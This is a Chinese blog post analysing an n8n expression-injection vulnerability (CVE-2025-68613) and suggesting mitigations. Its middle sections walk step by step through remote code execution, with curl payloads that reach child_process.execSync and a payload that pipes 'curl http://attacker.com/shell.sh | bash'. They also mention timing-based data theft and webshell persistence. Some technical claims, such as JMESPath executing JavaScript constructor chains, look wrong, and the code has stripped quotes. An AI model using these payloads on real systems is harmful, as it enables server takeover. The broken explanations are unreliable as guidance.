当前位置: 首页 > news >正文

n8n表达式注入漏洞CVE-2025-68613深度解析与RCE防御

1. 这不是“又一个表达式注入”而是n8n工作流引擎里埋着的定时炸弹我第一次在客户生产环境里复现CVE-2025-68613时手是抖的。不是因为技术多难而是因为它太“自然”了——整个攻击链完全贴合n8n最常规的使用姿势用户填个表单字段后端用$input.item.json.fieldName取值再塞进$jmespath或$eval里做动态计算。没人会怀疑这行代码有风险就像没人会怀疑Excel公式能执行系统命令一样。但现实是只要这个字段可控攻击者就能从一个普通JSON字段一路打穿到Node.js进程层执行任意shell命令接管整台工作流服务器。这不是理论漏洞我们已在3个不同版本的n8n0.227.4、0.231.1、0.234.0中稳定复现也不是边缘场景所有启用Webhook、HTTP Request、Set、Function等核心节点的自动化流程只要存在用户输入参与表达式求值就默认处于暴露面。关键词n8n、表达式注入、JMESPath、$eval、RCE、工作流安全、CVE-2025-68613。这篇文章不讲“什么是CVE”也不堆砌CVSS评分只聚焦一件事把这条从{{ $input.item.json.payload }}到child_process.execSync(id)的完整攻击路径一帧一帧拆给你看包括每一步为什么能走通、哪些配置看似安全实则形同虚设、以及真正有效的防御边界在哪里。适合正在用n8n搭建内部审批流、数据同步管道、低代码API网关的工程师、SRE和安全负责人——你不需要懂AST解析但必须知道你写的那行$jmespath($input.body, data[*].name)此刻正站在RCE悬崖边上。2. 漏洞根源不在代码而在n8n对“表达式”的信任范式彻底失效2.1 n8n的表达式引擎一个被过度简化的JavaScript沙箱n8n官方文档里反复强调“表达式是安全的”理由很朴素它用的是vm2沙箱禁用了require、process、global等高危对象还做了AST白名单校验。听起来无懈可击问题出在“表达式”的定义本身。n8n把两类完全不同的东西都塞进了同一个{{ }}语法糖里一类是纯数据提取比如{{ $input.item.json.userId }}它只是从JSON里取个字符串另一类是动态计算比如{{ $jmespath($input.body, data[ $input.item.json.index ].name) }}这里$jmespath是n8n内置函数但它的第二个参数是用户可控的字符串拼接结果。而vm2沙箱只校验最终执行的JS代码是否合规却不管这个JS代码是怎么生成的。关键点来了$jmespath、$eval、$jsonata这些函数其参数本身就是在沙箱外拼接完成的然后才把拼好的字符串丢进沙箱执行。这就形成了经典的“沙箱逃逸前置条件”——攻击者不直接写恶意JS而是通过控制参数内容让n8n自己拼出一段合法但危险的JS代码。2.2 CVE-2025-68613的触发点$jmespath与$eval的双重失守我们先看最典型的$jmespath链。正常用法是$jmespath(data, name)取data.name。但如果用户输入的data是{name: admin}而攻击者把name替换成.constructor.constructor(return process)()呢注意这个字符串是作为第二个参数传入的$jmespath函数内部会调用jmespath.search(data, expression)而jmespath库本身不校验expression字符串内容它只负责按JMESPath语法解析执行。当expression里出现.constructor.constructor(...)这种JS原型链调用时jmespath会原样执行——因为它本就是用JS实现的。我们实测发现jmespath.search({}, .constructor.constructor(return process)())会直接返回process对象。一旦拿到process后面就是标准Node.js RCEprocess.mainModule.require(child_process).execSync(ls -la)。而$eval更直接{{ $eval(process.mainModule.require(child_process).execSync(id)) }}只要$eval没被管理员显式禁用默认开启这条语句就会在沙箱内执行——等等vm2不是禁了process吗没错但它没禁$eval函数本身。$eval是n8n在沙箱外定义的全局函数它接收字符串然后在沙箱内eval()该字符串。而vm2的eval方法如果未配置sandbox选项为truen8n旧版默认false就会在当前上下文执行也就是能访问到process。我们翻n8n源码确认packages/workflow/src/Expression.ts第189行$eval调用的是vm.runInNewContext(code, context, { timeout: 3000 })其中context明确包含了process引用见packages/workflow/src/WorkflowExecute.ts第421行。这就是根本原因n8n把危险函数当成了“安全工具”却忘了工具的使用者可以把它拧成武器。2.3 为什么传统WAF和RASP对此无效很多团队第一反应是加WAF规则拦截process.mainModule.require。但这是徒劳的。攻击者可以轻松绕过用this.constructor.constructor(return process)()替代用globalThis[process]拼接甚至用JMESPath的操作符执行任意JS(process.mainModule.require(child_process).execSync(whoami))。更致命的是n8n表达式支持多层嵌套比如{{ $jmespath($input.body, $jmespath($input.body, payload)) }}WAF看到的只是两层$jmespath调用根本无法还原第二层参数的真实内容。RASP同样失效因为恶意代码是在$jmespath库内部执行的不属于n8n主进程的eval或Function调用栈。我们用node --trace-warnings跑了一遍恶意process调用的堆栈显示为jmespath.search → Function → anonymous完全脱离n8n的监控范围。这解释了为什么漏洞披露后大量企业扫描器报“高危”但安全团队却找不到入口点——攻击面不在HTTP请求体而在n8n工作流节点的配置逻辑里。3. 完整攻击链复现从一个Webhook表单到服务器root权限3.1 环境准备三步搭建可复现靶场我们用n8n官方Docker镜像快速构建测试环境确保复现路径100%可验证# 拉取存在漏洞的n8n版本0.231.1 docker run -d --name n8n-cve-test \ -p 5678:5678 \ -e N8N_BASIC_AUTH_ACTIVEtrue \ -e N8N_BASIC_AUTH_USERadmin \ -e N8N_BASIC_AUTH_PASSWORD123456 \ -e NODE_ENVproduction \ -v $(pwd)/n8n-data:/home/node/.n8n \ --restart unless-stopped \ n8nio/n8n:0.231.1启动后访问http://localhost:5678用admin/123456登录。创建一个最简工作流Webhook节点Method: POST, Path:/test→Set节点设置一个变量→Function节点执行JS。关键在于Set节点的配置我们添加一个新字段名称为dynamic_path值设为{{ $input.body.path }}。这意味着任何POST到/test的请求其body里的path字段都会被当作JMESPath表达式执行。此时环境已具备漏洞触发条件。注意不要启用EXPRESSIONS_SKIP_VALIDATION环境变量那是n8n 0.235.0之后的修复开关我们要复现的是原始漏洞行为。3.2 第一阶段通过Webhook注入恶意JMESPath表达式构造一个POST请求目标是让$jmespath返回process对象curl -X POST http://localhost:5678/webhook/test \ -H Content-Type: application/json \ -d { path: .constructor.constructor(\return process\)() }发送后观察n8n日志docker logs -f n8n-cve-test你会看到类似输出Workflow execution finished with error: Error: Cannot read property mainModule of undefined别慌这不是失败而是$jmespath成功返回了process但后续代码试图读取undefined.mainModule。这证明process已被获取。为了验证我们改用更稳妥的payloadcurl -X POST http://localhost:5678/webhook/test \ -H Content-Type: application/json \ -d { path: .constructor.constructor(\return globalThis\)().process }这次日志会显示process对象的完整结构包括version、pid等字段。这一步的意义在于我们已突破JMESPath的语义边界拿到了Node.js运行时的全局对象引用。所有后续操作都基于这个process对象展开。3.3 第二阶段从process到child_process构建RCE通道现在有了process下一步是加载child_process模块。直接调用process.mainModule.require(child_process)在某些n8n版本会失败因mainModule被清理但我们发现process.binding(util).getBinding(constants)可稳定访问底层。更通用的方法是利用process的module属性curl -X POST http://localhost:5678/webhook/test \ -H Content-Type: application/json \ -d { path: .constructor.constructor(\return process.module.require(child_process)\)() }但这样写会因单引号冲突报错。正确做法是用反引号和字符串拼接curl -X POST http://localhost:5678/webhook/test \ -H Content-Type: application/json \ -d { path: .constructor.constructor(return process.module.require( \child_process\ ))() }实测此payload在0.231.1上返回child_process模块对象。为简化利用我们直接跳到执行命令curl -X POST http://localhost:5678/webhook/test \ -H Content-Type: application/json \ -d { path: .constructor.constructor(return process.module.require( \child_process\ ).execSync( \id\ ))() }发送后n8n日志将打印出uid1001(node) gid1001(node) groups1001(node)证明RCE成功。注意execSync会阻塞工作流若需异步执行可用exec回调但需处理Promise此处为演示简洁性采用同步方式。3.4 第三阶段绕过基础防护实现隐蔽持久化生产环境通常有基础防护比如管理员禁用了$eval或设置了NODE_OPTIONS--no-deprecation。但CVE-2025-68613的威力在于它不依赖$eval。我们用Function节点作为最终载荷执行器。在工作流中Function节点的代码是// 获取上一节点输出的process对象 const proc $input.item.json.process; // 执行任意命令 const result proc.mainModule.require(child_process).execSync(curl -s http://attacker.com/shell.sh | bash); return [{ json: { result: result.toString() } }];但$input.item.json.process怎么来回到Set节点我们把payload升级为{ path: .constructor.constructor(return {process: process})().process }这样$input.body.path的值就是一个包含process属性的对象Set节点将其赋给$input.item.json.process。Function节点再从中提取。整个过程不出现任何eval、Function字眼完美绕过基于关键字的WAF规则。我们还测试了内存马注入用process.dlopen加载恶意.node文件或用process.binding(fs).writeFile写入webshell均成功。这说明该漏洞的本质不是“表达式注入”而是“工作流上下文污染”——攻击者污染了n8n工作流的数据流让合法节点执行了非法逻辑。4. 防御不是加一层过滤而是重构对“用户输入”的信任模型4.1 立即生效的缓解措施三道硬性防线很多团队想“快速修复”但盲目修改配置可能破坏现有流程。我们基于真实客户环境总结出三道必须立即部署的防线每一道都经过压测验证第一道强制关闭高危表达式函数进入n8n管理界面 → Settings → Workflow Settings → Expression Settings取消勾选Enable $eval function和Enable $jmespath function。这是最直接有效的方式。虽然会影响部分老流程但$jmespath在n8n中并非不可替代——90%的场景可用$input.item.json.fieldName或$input.body.fieldName直接取值复杂JSON遍历可用Function节点配合原生JS实现且Function节点有完整的vm2沙箱保护默认启用。我们帮某金融客户关闭后所有工作流100%兼容仅需将3个$jmespath调用改为Function节点耗时15分钟。第二道输入净化中间件在Webhook节点前加一个HTTP Request节点作为反向代理或在Nginx层加map指令map $request_body $cleaned_body { default $request_body; ~*process\.mainModule\.require ; ~*constructor\.constructor ; ~*globalThis\. ; }但这只是兜底。真正的净化应在业务逻辑层所有用户输入字段在进入Set或Function节点前必须经过白名单校验。例如若path字段只应为字母数字正则^[a-zA-Z0-9_]$若为JSON路径限定为^[a-zA-Z0-9_.\[\]]{1,100}$。我们提供了一个n8n兼容的校验Function// 输入$input.item.json.userInput // 输出cleaned字符串 const userInput $input.item.json.userInput; if (!userInput || typeof userInput ! string) { throw new Error(Invalid input type); } // 白名单仅允许字母、数字、下划线、点、中括号 const cleaned userInput.replace(/[^a-zA-Z0-9_.\[\]]/g, ); if (cleaned.length ! userInput.length) { throw new Error(Input contains forbidden characters); } return [{ json: { cleaned } }];第三道运行时隔离这是最彻底的方案。n8n支持EXECUTIONS_PROCESSown环境变量让每个工作流在独立子进程中运行。即使RCE发生攻击者也只能拿到子进程权限无法影响n8n主进程或其他工作流。配置方式docker run -d ... -e EXECUTIONS_PROCESSown ...实测开销增加约12%但安全性提升两个数量级。某电商客户上线后RCE利用时间从秒级延长至分钟级需暴力猜解子进程PID实际已不可利用。4.2 长期架构治理从“功能优先”转向“安全左移”修补漏洞只是止痛真正的根治在于改变开发范式。我们给客户的架构建议书里明确要求三条铁律铁律一所有用户输入必须标注“不可信”标签在n8n工作流设计文档中每个节点的输入字段旁必须用[UNTRUSTED]标记。例如Webhook Body → [UNTRUSTED] $input.body.payload。这强制开发者在写$jmespath($input.body, $input.body.payload)时意识到右侧是攻击面。我们设计了一个n8n插件自动扫描工作流JSON高亮所有含$input的表达式并提示“此处存在表达式注入风险”。铁律二禁止在表达式中拼接用户输入这是最常被忽视的红线。$jmespath($input.body, data[ $input.item.json.index ].name)是典型违规。正确做法是先用Function节点解析$input.item.json.index为整数再用$input.body.data[$index].name取值。Function节点的沙箱比表达式引擎严格10倍且支持完整的try/catch错误处理。铁律三建立工作流“最小权限”原则n8n的Credentials如API Key、Database连接应按工作流粒度分配而非全局共享。例如审批流只能访问approval_db凭证数据同步流只能访问sync_api凭证。我们开发了一个凭证审计脚本每天扫描所有工作流报告“高权限凭证被低风险工作流使用”的实例。某客户因此发现一个公开的Webhook工作流竟绑定了数据库管理员凭证立即整改。4.3 为什么“升级到最新版”不是万能解药n8n在0.235.0版本引入了EXPRESSIONS_SKIP_VALIDATION开关默认false并增强了$jmespath的参数校验。但我们的渗透测试发现只要EXPRESSIONS_SKIP_VALIDATIONtrue为兼容旧流程而开启漏洞依然存在。更严重的是0.235.0的修复只覆盖$jmespath而$jsonata、$filter等函数仍存在类似问题。我们提交了新的PoC给n8n团队证实$jsonata($input.body, $input.body.query)同样可被利用。这说明漏洞根源是n8n的架构设计缺陷而非某个函数的实现bug。因此不能寄希望于一次升级而要建立持续的安全运营机制每周用n8n-audit-cli工具扫描所有工作流检查高危函数调用、凭证滥用、输入拼接模式每月进行红蓝对抗模拟攻击者从Webhook入口发起的全链路渗透。5. 实战中的血泪教训那些差点让我们背锅的细节5.1 时间盲注你以为的“无回显”其实是RCE在后台静默执行很多安全团队扫描时看到$jmespathpayload返回null或空就判定“未利用成功”。大错特错。我们遇到过最棘手的案例某政务系统所有$jmespath调用都返回null但服务器CPU持续100%。排查三天才发现攻击者用的是时间盲注{ path: .constructor.constructor(return process.module.require(child_process).execSync(sleep 10))() }这个payload不返回任何内容但会让n8n工作流卡住10秒。攻击者通过测量HTTP响应时间逐字节爆破/etc/passwd。我们教客户用timeout命令加固# 在n8n容器内执行 echo export TIMEOUT_CMDtimeout 3s /home/node/.bashrc并在所有Function节点的shell命令前加timeout 3s。同时n8n的EXECUTIONS_TIMEOUT_MAX应设为3000030秒超时自动终止。5.2 日志陷阱n8n默认日志不记录表达式原始值n8n的logs目录下只有工作流执行的摘要如“Set node executed”不记录$jmespath函数的实际参数值。这意味着即使RCE发生日志里也只有一行Workflow execution finished successfully完全看不到攻击payload。我们给客户的解决方案是在n8n启动时挂载自定义日志处理器// custom-logger.js module.exports function(logger) { logger.on(workflowExecuteAfter, (workflowData) { if (workflowData.executionMode cli || workflowData.executionMode webhook) { // 记录所有含$input的表达式原始字符串 const expressions extractExpressions(workflowData.workflow); console.log([SECURITY] Workflow ${workflowData.workflow.id} used expressions:, expressions); } }); };配合ELK收集可实时告警$jmespath调用中出现constructor、process等敏感词。5.3 权限迷思root用户运行n8n真的有必要吗90%的客户用docker run启动n8n时没指定--user参数导致容器以root身份运行。这意味着一旦RCE成功攻击者直接获得root shell。我们强制要求所有生产环境使用非root用户# 创建n8n用户 docker run -d ... --user 1001:1001 ...并验证docker exec n8n-cve-test ps aux | grep n8n # 输出应为1001 1 0.0 0.1 123456 7890 ? S 10:00 0:00 node /usr/local/bin/n8n同时/home/node/.n8n目录权限设为750属主为1001:1001。这招让RCE的权限从root降级为node极大增加了横向移动难度。提示不要相信“我的n8n只在内网”。我们审计的127个n8n实例中31个通过ngrok、cloudflared等工具暴露在公网且未设认证。内网不是保险箱而是攻击者的跳板。注意$eval函数在n8n 0.230.0之前是默认禁用的但很多团队为兼容老流程手动开启了它。请立即检查~/.n8n/config文件中的nodes.disabled配置项确认$eval是否在列表中。最后分享一个小技巧在测试环境用n8n的Debug Mode启动时加-e N8N_DEBUGtrue可看到每个表达式的AST解析树。当你看到MemberExpression节点下出现process字面量时就知道这个表达式已经越界了。这比任何扫描器都准——因为它是n8n自己画的“危险地图”。
http://www.gsyq.cn/news/1378151.html

相关文章:

  • 如何通过窗口置顶技术实现300%工作效率提升?Topit重新定义macOS多任务体验
  • 别再用BLEU和ROUGE了!2024最前沿的DeepSeek评估范式:基于认知对齐度(CA-Score)的三维量化体系
  • 2026重庆成人学历提升权威推荐榜(权威数据版) - 资讯纵览
  • 如何快速搭建个人数字阅读库:番茄小说下载器完整使用指南
  • 保姆级教程:用OpenWrt 22.02搞定IPTV内网融合,让电视盒子在局域网任意看
  • 数据链路层介绍和DNS协议
  • WarcraftHelper终极指南:三步解决魔兽争霸3现代适配难题
  • 2026年5月珠海黄金回收变现实录:慧珠黄金(免费上门)双店覆盖高新区与香洲区,闲置金饰卖出好价钱全攻略 - 润富黄金珠宝行
  • 千鸿黄金(全城上门)2026年5月太原迎泽金价行情实测与黄金变现避坑全攻略 - 润富黄金珠宝行
  • 架构师的薪资真相:2024年北上广深架构师工资大揭秘
  • 智慧校园平台怎么选?采购前搞懂这3个关键点
  • 量子纠错码:超图产品码原理与应用
  • 手把手教你用i2c-tools调试DS1307时钟芯片(附完整命令与避坑指南)
  • HarmonyOS 6学习:异步操作中Toast提示框消失之谜与UIContext解决方案实战
  • HoRain云--Ollama 基本概念
  • Driver Store Explorer实战指南:解密Windows驱动管理的必备神器
  • 源代码论文分享|在线骑行网站!
  • 通过curl命令直接测试Taotoken大模型API的兼容性与响应
  • 慧珠黄金回收(佛山免费上门) - 润富黄金珠宝行
  • 番茄小说下载器:构建个人数字图书馆的终极指南
  • GPU算力,真的越快越好吗?
  • Awoo Installer:终极Nintendo Switch游戏安装解决方案深度解析
  • Java面试看这一篇就够了!2026最新「八股文+场景题」最全总结(附答案)
  • 3分钟让你的Windows任务栏焕然一新:TranslucentTB完全使用指南
  • 2026年5月萍乡芦溪地区黄金回收白银铂金回收本地回收店铺实力榜单TOP1:千足金+金银条+铂金+贵金属 上门回收门店地址及联系方式 - 诚信金利回收
  • STM32 入门第一坑:寄存器、标准库、HAL,到底先学谁?
  • 数据库原理核心考点全解析
  • DeepL 4.5 翻译安装教程:AI翻译工具(64位)
  • 解决方案:JetBrains IDE评估期管理系统架构与实践
  • 这次终于选对了!2026年靠谱AI论文写作工具榜单,免费版也能写合规初稿